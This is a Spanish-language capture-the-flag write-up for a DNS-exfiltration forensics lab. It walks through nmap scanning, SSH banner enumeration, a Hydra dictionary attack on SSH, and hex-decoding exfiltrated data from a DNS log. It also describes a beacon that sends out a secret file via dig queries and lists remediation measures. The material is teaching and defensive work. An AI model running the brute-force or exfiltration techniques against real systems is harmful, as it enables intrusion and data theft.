GhostLabs

GhostLabs

red team operations :: offensive security
ghostlabs-exdns — write-up
Laboratorio
ghostlabs-exdns
Dificultad
★★★★☆☆☆☆ media-alta
Categoría
Exfiltración / Forense DNS
Puertos
2222/tcp (SSH) · 53/tcp+udp (DNS)
Usuario
analyst
Puntos
4 pts
⚠ SPOILER — Este documento contiene la solución completa del laboratorio

Descripción del laboratorio

Un servidor de análisis de amenazas tiene el DNS activo y los logs de monitorización accesibles. El sistema ha detectado tráfico DNS anómalo. Tu misión: acceder a la máquina, analizar los logs del servidor DNS y recuperar los datos exfiltrados por el implante C2.

▶ nmap → puertos 53/tcp y 2222/tcp
▶ SSH banner → usuario analyst
▶ Hydra → contraseña abc123
▶ SSH access → MOTD + README
▶ dns-queries.log → subdomain hex repetido
▶ Decodificación hex → FLAG

Contexto: ¿Qué es la exfiltración DNS?

La exfiltración por DNS es una técnica usada por malware real, APTs y herramientas de red team para filtrar datos a través de un canal que habitualmente está permitido en firewalls corporativos. El tráfico DNS pocas veces está bloqueado.

El atacante codifica los datos como parte del nombre de dominio que consulta:

<DATOS_CODIFICADOS>.dominio-controlado-atacante.com

El servidor DNS del atacante recibe esa consulta y puede decodificar los datos aunque el tráfico HTTP/HTTPS esté completamente bloqueado. Esta técnica se usa en:

Herramienta / MalwareUso de DNS
Cobalt StrikeDNS beacon — check-in periódico con datos codificados en subdomains
DNScat2Túnel DNS completo bidireccional (shell interactiva)
Emotet / TrickBotExfiltración de credenciales y datos bancarios
APT29 / Cozy BearC2 via DNS TXT records para evadir detección

En este laboratorio simulamos la perspectiva del defensor / analista forense: hay un implante activo en la máquina que exfiltra datos via DNS. Debes recuperar esos datos.

Explotación paso a paso

1
Reconocimiento de red

Escaneamos todos los puertos para descubrir la superficie de ataque:

nmap -sV -p- --min-rate 3000 <LAB_IP>
PORT     STATE SERVICE VERSION
53/tcp   open  domain  (custom DNS server)
2222/tcp open  ssh     OpenSSH 7.9p1 Debian

La presencia de un servidor DNS junto a SSH es inusual en una máquina de análisis. El puerto 53 abierto indica que algo está usando DNS activamente — posible canal encubierto.

nmap con -sV detecta 53/tcp. Para ver también 53/udp: nmap -sU -p 53 <LAB_IP>
2
Enumeración SSH — banner pre-autenticación

El servidor SSH está configurado con un banner de bienvenida visible antes de introducir credenciales. Lo consultamos con cualquier usuario ficticio:

ssh guest@<LAB_IP> -p 2222
GhostLabs Threat Detection Platform v1.2
DNS monitoring: ACTIVE

Contact: analyst (security analyst)

guest@<LAB_IP>'s password:

El banner revela el nombre de usuario del administrador: analyst. Pulsamos Ctrl+C para cancelar sin introducir contraseña.

El banner SSH pre-autenticación (Banner /etc/ssh/banner en sshd_config) es visible para cualquier cliente antes de enviar credenciales. Es una fuente habitual de enumeración en entornos reales.
3
Fuerza bruta SSH

Con el usuario analyst identificado, lanzamos un ataque de diccionario:

hydra -l analyst -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP>   login: analyst   password: abc123

Credenciales obtenidas: analyst / abc123

4
Acceso inicial y orientación

Nos conectamos por SSH:

ssh analyst@<LAB_IP> -p 2222

El MOTD nos da contexto inmediato:

GhostLabs TDP v1.2 — DNS monitoring active
Anomalous DNS traffic detected from this host.
Review monitoring logs for indicators of compromise.

Exploramos el home:

ls -la ~
-rw-r--r-- 1 analyst analyst  241 Apr  4 2026 README.txt
cat ~/README.txt
Threat Detection Platform — GhostLabs

ALERTA: Se ha detectado trafico DNS anomalo desde este host.
El sistema de monitorizacion ha registrado consultas sospechosas.

Revisa /var/log/dns-queries.log para identificar los IOCs.
5
Análisis del log DNS

Revisamos el log del servidor DNS:

ls -la /var/log/dns-queries.log
-rw-r--r-- 1 root root 512 Apr  4 2026 /var/log/dns-queries.log

El fichero es world-readable. Lo abrimos:

cat /var/log/dns-queries.log
2026-04-04 12:00:03 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs
2026-04-04 12:00:33 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs
2026-04-04 12:01:03 | QUERY A | 47686f73744c6162737b646e355f337866316c5f64337433637433647d.data.leak.ghostlabs

Hay consultas periódicas (cada 30s) hacia *.data.leak.ghostlabs. El subdomain es siempre el mismo string hexadecimal: los datos exfiltrados están codificados en el nombre del dominio consultado, no en la respuesta DNS.

En DNS exfiltration real, el servidor del atacante registra las consultas entrantes y extrae el payload del subdomain. Aquí el log local nos da la misma información.
6
Extracción del payload hex

Extraemos el subdomain hex de la primera entrada del log:

grep "leak.ghostlabs" /var/log/dns-queries.log | head -1 | awk '{print $NF}' | cut -d. -f1
47686f73744c6162737b646e355f337866316c5f64337433637433647d
7
Decodificación hex → ASCII

Los datos están codificados en hexadecimal. Los decodificamos:

Opción A — Python3 (directo):

python3 -c "print(bytes.fromhex('47686f73744c6162737b646e355f337866316c5f64337433637433647d').decode())"

Opción B — Una sola línea desde el log:

grep "leak.ghostlabs" /var/log/dns-queries.log | head -1 \
  | awk '{print $NF}' | cut -d. -f1 \
  | python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"
Flag obtenida
GhostLabs{dn5_3xf1l_d3t3ct3d}

¿Cómo funciona el mecanismo?

ElementoDescripción
beacon.sh Loop infinito (root): lee /root/flag.txt, hex-encode, lanza dig @127.0.0.1 <HEX>.data.leak.ghostlabs cada 30s
dns_server.py Python puro, UDP+TCP/53. Parsea el nombre de la consulta, loguea en /var/log/dns-queries.log, responde NXDOMAIN
dns-queries.log World-readable. Contiene timestamp, tipo de query y nombre completo consultado
Codificación hex .encode().hex() — 29 chars → 58 hex chars, válido como DNS label (máx 63)

DNS exfiltration real vs. este laboratorio:

AspectoReal (APT/C2)Este laboratorio
Servidor DNS atacanteControlado remotamente (VPS/cloud)Simulado localmente (127.0.0.1)
Destino de consultasDominio público del atacantedata.leak.ghostlabs (ficticio)
InterceptaciónPCAP, proxy DNS, RPZLog local world-readable
CodificaciónBase64, hex, binarioHexadecimal
FrecuenciaVariable (jitter para evadir detección)Fija 30s (simplicidad)

Remediación

MedidaDescripción
DNS Firewall / RPZResponse Policy Zones — bloquear dominios de C2 conocidos
Anomaly detectionSubdomain > 40 chars es anómalo; alertar en SIEM
Frecuencia de queriesBeacons tienen cadencia regular; detectar con análisis de series temporales
DNS logging centralizadoEnviar logs DNS a SIEM para correlación con otros IOCs
SegmentaciónHosts internos no deben resolver dominios externos directamente

Herramientas utilizadas

HerramientaUso
nmapDescubrimiento de puertos 53/tcp y 2222/tcp
sshEnumeración de banner pre-autenticación + acceso inicial
hydraFuerza bruta SSH con rockyou.txt
grep / awk / cutExtracción del subdomain hex del log DNS
python3Decodificación hex → ASCII